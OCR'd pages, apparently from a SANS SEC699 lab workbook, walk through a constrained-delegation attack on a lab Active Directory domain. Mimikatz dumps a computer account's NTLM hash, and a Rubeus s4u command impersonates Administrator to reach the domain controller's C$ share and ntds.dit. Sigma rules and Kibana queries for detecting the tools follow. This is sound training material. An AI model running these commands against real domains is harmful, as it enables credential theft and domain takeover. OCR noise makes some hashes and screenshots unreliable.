WIN19 (192.168.20.102 ). Thisis a prerequisite for the attack. In our case, this is
student_ladm (password Sec699!! ). Let's use this account to extract the password hash for
the wiNi9s computer account! The easiest way of doing this is by leveraging Mimikatz.

Please open a remote desktop connection to WIN19 (192.168.20.102 ) using the SEC699-
20.LAB\student_ladm user ( password Sec699!! ). Next, copy / paste Mimikatz from your
CommandoVM ( C:\tools\Mimikatz\x64\mimikatz.exe )to the WIN19 machine (location
C:\users\student_ladm\Downloads ).

Please launch Mimikatz by right-clicking the executable and selecting Run as Administrator .
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< % Manage Downloads

m Home Share View Application Tools

\]L This PC » Windows (C:) Users student_ladm » Downloads

" ¢
\ame Jate modified pe

7 Quick access

& mimikatz /872020 12:33 PM Application 1,226 KB
I Desktop = e 22
il <
W Downloads & Run as administrator
Documents Troubleshoot compatibility
&= Pictures Pin to Start
—_ &
[ This PC ' Share

N

J Give access to
=¥ Network
Pin to taskbar

Restore previous versions

We'll now use Mimikatz to extract the computer account hash by running the following
commands:

privilege: :debug
sekurlsa: :logonPasswords

As a reminder:

e The privilege::debug command provides us with the debug privilege (required to
interact with LSASS)

e The sekurlsa::logonPasswords command will extract passwords from all available SSPs
(Security Support Providers)

&/ mimikatz 2.2.0 x64 (oe.e0) — a X

8 2020 13:32:41
, A L"Amour” - (oe.eo)
## / \ (**%* Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
“#H v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
‘HHEEET > http://pingcastle.com / http://mysmartlogon.com i

mimikatz # privilege::debug
Privilege '20" OK

mimikatz # sekurlsa::logonPasswords

Authentication Id : © ; 36100717 (000 :0226dabd)
i : Interactive from 2
: DWM-2
: Window Manager
Logon Server : (null)
Logon Time : 4/13/2020 1:44:13 PM
SID : S-1-5-90-0-2

msv :
[60000003] Primary
* Username : WIN19%
Domain : sec699-20
NTLM : aa2b9dilble444c71f9153a9f4bdeecsc
SHA1 : 82a51952997c71670d77f74ea9d6b80e14ab7746
tspkg :
wdigest
* Username : WIN19%
* Domain
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Somewhere in the output of the last command, you should find the following extract (you may
even find it several times in the output):

Authentication Id : 0 ; 36100717 (00000000:0226da6d)

Session : Interactive from 2
User Name : DWM-2
Domain ¢ Window Manager
Logon Server : (null)
Logon Time ¢ 4/13/2020 1:44:13 PM
SID ¢ S-1-5-90-0-2

msv :

[60000003] Primary
* Username : WIN19$

* Domain : sec699-20
* NTLM : aa2b9dlble444c71f9153a9f4bd0ec4c
* SHA1l : 82a51952997c71670d77f74ea9d6b80el4ab7746

The NTLM entry in the output above is the password hash of the wIN19$ computer account!In
our case, it is aa2b9d1lble444c71f9153a9f4bdeec4c . It will be different for every student, as
computer account passwords (and hashes) are randomly generated whenever a computer
joins the domain.

Please copy the NTLM hash, as we'll need it in the next steps of the lab! Proceed by closing the
Mimikatz window and the Remote Desktop session.

Step 4: Abuse S4U2SELF and S4U2PROXY to Escalate
Privileges
Switch back to the RDP session you had open to the WIN10 system ( 192.168.20.105 ). We'll use

Rubeus to request a service ticket for the CIFS service on the DC as the Administrator user.
You'll need to use the previously obtained computer account hash in order to do this.

Please open a command prompt and execute the following command to obtain elevated
privileges to the CIFS service on the DC:

C:\Users\student\Downloads\Rubeus.exe s4u /user:WIN19$S
/rc4:aa2b9d1lble444c71f9153a9f4bd0ec4c /impersonateuser:Administrator
/msdsspn:"cifs/dc.sec699-20.1lab" /ptt

rd Some background information on the flags we used:

e s4u - We are using the 's4u’ feature in Rubeus, which allows for constrained delegation
abuse
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/user:WIN19$ - We are abusing the WIN19% computer account

® /rc4: aa2b9dlble444c71f9153a9f4bdoec4c - The RC4 Kerberos encryption key of the
user we specified (which is of course the NT hash we stole previously)

® /impersonateuser: Administrator - The user we would like to impersonate to the target

service
e /msdsspn:"cifs/dc.sec699-20.1lab" - The service we want to target (CIFS service on the
DC)
e /ptt - We immediately want to inject the service ticket we receive
‘ E¥ Command Prompt - O X

/user:WIN19% /rc4:aa2b9dible444c71f9153a9f4bdlec4c /impersonateuser:Administ

vi.5.0

[*] Action: S4U

*] Using rc4_hmac hash: aa2b9dilble444c71f9153a9f4bd@ec4c

] Building AS-REQ (w/ pruau\hA for: * 6 20.1ab\WIN19%"
TGT request succ
*] basead(ticxeL.<1rb1;:

9 qu\«bOU
mGAGua/Zu oN A 'f” TZ i 2FZ“nUEmeHEHu

FHP8uLXhKQuQ
QPVdSobyppT7t7gyu87f

The Rubeus command should finish with [+] Ticket successfully {imported!.Once we have
received the service ticket, we can now validate our access by again attempting to access the
administrative c$ share:

Validate access:

dir \\dc.sec699-20.1lab\Cs$\Windows\ntds\ntds.dit

E¥ Command Prompt — m} X

sec699-20.1lab\C$\Windows\nt

100 PH 16,777,216 ntds.
) lo /,/.7 216
51,311,185,920 byt
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It's important to note the subtle difference between this constrained delegation flaw and the
previously described unconstrained delegation flaw:

e The unconstrained delegation on sQL enabled anyone that obtains administrative access
to sqQL to obtain domain administrator privileges.

e The constrained delegation on WIN19 enables anyone that obtains administrative access
to WIN19 to obtain administrative access to the file shares on the domain controller
(which is very close to being domain administrator!)

Both flaws have a devastating impact on the security level of the AD environment!

Objective 2: Detecting delegation abuse

So how could we detect delegation abuses? The honest truth is that the delegation abuses fully
leverage built-in Microsoft Windows features and are thus nearly impossible to alert on.

A few ideas though:

e We can detect delegation being used (e.g., When S4U2Self is used, we can look for
Kerberos service ticket requests (Event ID 4769), where the Account Information and
Service Information fields are the same). Note that this will detect ANY S4U2Self activity
in the environment, which could also be benign...

e We can detect S4U2Proxy with the same type of event (Kerberos service ticket request,
event ID 4769). When S4U2Proxy is used, the Transited Services attribute in
Additional Information is not blank.

Detection of the actual techniques is more suited to manual analysis (e.g., threat hunting). An
excellent read on this can be found on the Shenanigans Labs blog.

An easier detection method we can automate in alerts, though, is to look for the tools
leveraged. Admittedly, these detection rules are easier to bypass as well, but one has to work
with what one has...

Step 1: Required Log Sources

Sysmon

Event ID 1: Process creation

The process creation event provides extended information about a newly created
process. The full command line provides context on the process execution. The
ProcessGUID field is a unique value for this process across a domain to make event
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correlation easier. The hash is a full hash of the file with the algorithms in the HashType
field.

Source: docs.microsoft.com

Step 2: Detection Logic

Throughout the labs, we used the following tools:

e Mimikatz
e Rubeus
e SpoolSample

For both Mimikatz and Rubeus, public sigma rules exist:

Example sigma rule to detect Mimikatz
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title: Mimikatz Use
id: 06d71506-7Tbeb-4f22-8888-e2e5e2ca7fd8
description: This method detects mimikatz keywords in different Eventlogs (some of
them only appear in older Mimikatz version that are however still used by
different
threat groups)
author: Florian Roth
date: 2017/01/10
modified: 2019/10/11
tags:
- attack.s0002
- attack.t1003
- attack.lateral_movement
- attack.credential_access
- car.2013-07-001
- car.2019-04-004
logsource:
product: windows
detection:
keywords:
Message:
- "x mimikatz *"
- "x mimilib x"
- "% <3 eo.oe *"
- "x eo.oe.kiwi *"
- "x privilege::debug *"
- "% sekurlsa::logonpasswords x"
- "x lsadump::sam =*"
- "x mimidrv.sys *"
— ll* p::d *ll
— ll* s::'L *H
condition: keywords
falsepositives:
- Naughty administrators
- Penetration test
level: critical

Example sigma rule to detect Rubeus
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title: Rubeus Hack Tool
id: 7ec2cl72-dceb-4c10-92c9-87c1881b7el8
description: Detects command line parameters used by Rubeus hack tool
author: Florian Roth
references:
- https://www.harmjoOy.net/blog/redteaming/from-kekeo-to-rubeus/
date: 2018/12/19
tags:
- attack.credential_access
- attack.t1003
- attack.s0005
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine:
- 'x asreproast *'
- "% dump /service:krbtgt *'
- 'x kerberoast *'
- 'x createnetonly /program:x'
- 'x ptt /ticket:x'
- 'x /impersonateuser:x'
- 'x renew /ticket:x'
- 'x asktgt /user:*'
- 'x harvest /interval:x'
condition: selection
falsepositives:
- unlikely
level: critical

For SpoolSample, there's no public sigma rule. Unfortunately though, the command line is
rather "simple" and it's hard to develop a distinct rule for detection. As a reminder, this is the
command line to coerce the DC to connect to the SQL server:

spoolsample.exe DC SQL

One approach could be to leverage the import hash (imphash) of the SpoolSample executable.
We'll see how this can be achieved later in this part of the lab!

Step 3: Analyzing our environment

Please ensure that all RDP sessions are closed and fall back to your CommandoVM virtual
machine. From our ELK stack's Kibana (http://192.168.20.106:5601 ), let's try to detect the
tools explained above. Please open the Discover view (compass icon), so we can start running
our searches!

Let's start with Mimikatz, which can be detected using the following search (loosely based on
the Sigma rule bove):
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message: (*mimikatz* OR *mimilibx OR *eo.oe* OR *privilege\:\:debugx OR
*sekurlsa\:\:logonpasswords* OR xLlsadump\:\:sam\* OR *mimidrv.sysx OR *p\:\:d* OR
*s\:\:1x)

This rule simply looks for typical Mimikatz keywords and is thus not likely to generate many
false positives. You'll likely observe a few hits, as we've used Mimikatz several times during the
class:

N

. Discover ® c

New Save Open Share Inspect

[E) v  message:(*mimikatz* OR *mimilib* OR *eo.oe* OR *privilege\:\:debug* OR *sekurlsa\:\logonpassy KQL v This week Show dates C Refresh
®
®  + Add filter
[
- winlogbeat-* v o 27 hits
Q Apr 12, 2020 @ 00:00:00.000 - Apr 18, 2020 @ 23:59:59.999 —  Auto v
@ Filter by type (] 20
& "
Selected fields §
83 10
F"J <> _source o
5 Available fields )
Ra Popular 2020-04-12 00:00 2020-04-13 00:00 2020-04-14 00:00 2020-04-15 00:00 2020-04-16 00:00 2020-04-17 00:00 2020-04-18 00:00
t process.executable @timestamp per 3 hours
@ t process.name Time « _source
g t process.parent.execut... > Apr 13, 2020 @ 89:06:14.106 message: A process has exited. Subject: Security ID: S-1-5-21-32432908343-3501274540-1866670143-1125 Account Name: student
Account Domain: sec699-20 Logon ID: 8x49E8A25 Process Information: Process ID: @x1d4@ Process Name: C:\Users\student
) t process.parent.name
\Downloads\mimikatz.exe Exit Status: ©xe@ @timestamp: Apr 13, 20820 € 089:06:14.106 winlog.event_id: 4689
7] t ‘winlog.event id winlog.opcode: Info winlog.provider_guid: {54849625-5478-4994-a5ba-3e3b8328c38d} winlog.process.pid: 4
B @timestamp winlog.process.thread.id: 7,948 winlog.event_data.SubjectlLogonId: @x49e8a25 winlog.event_data.Status: @xe
(o]
&
t _id > Apr 13, 2020 @ ©9:06:14.895 pessage: Process terminated: RuleName: UtcTime: 2828-84-13 14:06:14.895 Process6uid:
{E} t dex {983beff7-71d4-5¢94-0008-881871299c@5} ProcessId: 7488 Image: C:\Users\student\Downloads\mimikatz.exe @timestamp: Apr 13,
- 2020 @ 09:06:14.895 process.entity_id: {983beff7-71d4-5¢94-0008-801071299c05} process.pid: 7488
A SCOIS process.executable: C:\Users\student\Downloads\mimikatz.exe process.name: mimikatz.exe agent.type: winlogbeat
t _type agent.ephemeral_id: 89317d@c-2057-4af@-a3d5-b64dd3dfe638 agent.hostname: win1@ agent.id: 9692b7de-cb68-4d8s-

Please feel free to expand several of the hits and confirm the successful detection of Mimikatz
being launched!

Next, let's try to detect Rubeus. Again, we have created a search that is loosely based on the
Rubeus Sigma rule above:

process.args: (xasreproastx OR xservice\:krbtgtx OR *kerberoastx OR *createnetonlyx
OR *ptt* OR *impersonateuser\:* OR =xasktgtx OR xharvest* OR *monitor
/interval\:x*)
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M

. Discover

New Save Open Share Inspect

[E) » process.args:(*asreproast® OR *service\krbtgt® OR *kerberoast® OR *createnetonly® OR *ptt* OF KQL [ ~ This week

o = B

|

@
&  + Add filter
i
= winlogbeat-* 16 hits
Q Apr 12, 2020 @ 00:00:00.000 - Apr 18, 2020 @ 23:59:58.899 — Auto ™
& 6
(@ Filter by type o
& o
Selected fields 3
Ay
. n _source
5} Available fields
Ra Popular 20200412 0XX00 3000 00:00 20 16 00
t process.axecutable (@timestamp per 3 hours
=
Y 1 process.name Time « _source
g £ processparentexect... > Apr 13, 2028 @ 99:20:28.538 process.args: .\Downloads\Rubeus.exe, sdu, fuser:WIN1SS, /rcd:aa2bddibled44c?1f9153a9f4bdeecdc,
@ I GrOGESS.paraRTAGME /impersonateuser :Administrator, /msdsspnicifs/dc.sec699-28.1ab, [ptt @timestamp: Apr 13, 2828 @ 89:28:28.538
winlog. provider_guid: {54849625-5478-4994-a5ba-3e3b0328c36d} winlog.event_1d: 4688 winlog.provider_name: Microsoft-
7] b winlog.svent id Windows-Security-Auditing winlog.process.pid: 4 winlog.process.thread.id: 5,824 winlog.record_id: 88784

£ @limestamp
@ -

Again, this should return

winloq.api: wineventlog winlog.computer_name: win19,sec699-20.1ab winlog.keywords: Audit Success winlog.version: 2

a limited set of results, as the keywords used by Rubeus are rather

explicit. Feel free to expand the hits and confirm successful detection of Rubeus being

launched.

Let's see if we can build some detection logic for the SpoolSample.exe tool as well! Let's start
by simply using the Process Creation event, using the following query:

event.code:1 AND process.name.text:spoolsample.exe

N

. Discover

New Save Open Share Inspect

[5] v event.code:1 and process.name.text:spoolsample.exe KQL v This week Show dates
®

®  +Add filter
i

winlogbeat-* o 3 hits
& Q Apr 12, 2020 @ 00:00:00.000 - Apr 18, 2020 @ 23:59:59.999 —  Auto v
B 3

@ Filter by type (4] 25
& 2

Selected fields €

1.5
9 8§
= <> _source 1
05

5 Available fields .
EB PODU'EI’ 2020-04-12 00:00 2020-04-13 00:00 2020-04-14 00:00 2020-04-15 00:00 2020-04-16 00:00 2020-04-17 00:00 2020-04-18 00:00

t process.executable @timestamp per 3 hours
= t process.name Time « _source
) t process.parent.execut... > Apr 13, 2620 @ @6:13:20.799 event.code: 1 @timestamp: Apr 13, 2028 @ 86:13:20.799 host.name: win10.sec699-28.1lab host.id: 983beff7-6c15-4b17-2168-
' f914dbSeddcb host.hostname: win1@ host.architecture: x86_64 host.os.name: Windows 1@ Enterprise Evaluation
@ t process.parent.name

host.os.kernel: 10.8.17763.719 (WinBuild.160101.880@) host.os.build: 17763.720 host.os.platform: windows

7] b AR host.os.version: 18.8 host.os.family: windows process.args: .\Downloads\SpoolSample.exe, DC, SQL

B @timestamp process .working_directory: C:\Users\student\ process.parent.entity_id: {983beff7-4878-5e94-8000-60104fd77b85}
[}
82

t id > Apr 13, 2020 @ 86:12:50.529  eyent.code: 1 @timestamp: Apr 13, 2020 @ 86:12:50.529 agent.ephemeral_id: 89317d@c-2857-4af@-a3d5-b64dd3dfe63s
& - agent.hostname: win1@ agent.id: 9692b7d@-cb68-4d88-a829-80181d27d421 agent.version: 7.6.1 agent.type: winlogbeat

t _index

-

_score

type

event.kind: event event.provider: Microsoft-Windows-Sysmon event.action: Process Create (rule: ProcessCreate)
event.created: Apr 13, 2020 @ 06:12:51.604 event.module: sysmon event.type: process_start event.category: process

winlog.opcode: Info winlog.version: 5 winlog.provider_name: Microsoft-Windows-Sysmon winlog.process.pid: 2,296

While this is not a perfect detection approach, it's a good start and it's bound to catch both real
adversaries and red teamers that are using standard, publicly available, tools.
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Bonus: Hunting for delegation abuse

If you have time left, feel free to review the Service Ticket Requests (event ID 4769). Can you
detect the S4U2SELF and S4U2PROXY using the explanation described in the introduction of
this section?

Conclusions

During these previous 2 labs, we demonstrated the following highly useful skills:

e How unconstrained delegation can be abused to compromise a domain
e How constrained delegation misconfigurations can also lead to domain compromise
e Detection opportunities for both techniques

As indicated, detection of delegation abuse is rather tricky, as it's entirely based on built-in
Windows mechanisms. Detection of the techniques is thus more suited to manual analysis
(e.g., threat hunting). We can, however, leverage signatures / use cases that look for the tools
leveraged.

As this is the final lab of the day, please destroy your lab environment using the below
commands from your student VM:

cd /home/student/Desktop/SEC699-LAB
./manage.sh destroy -t [version_tag] -r [region]
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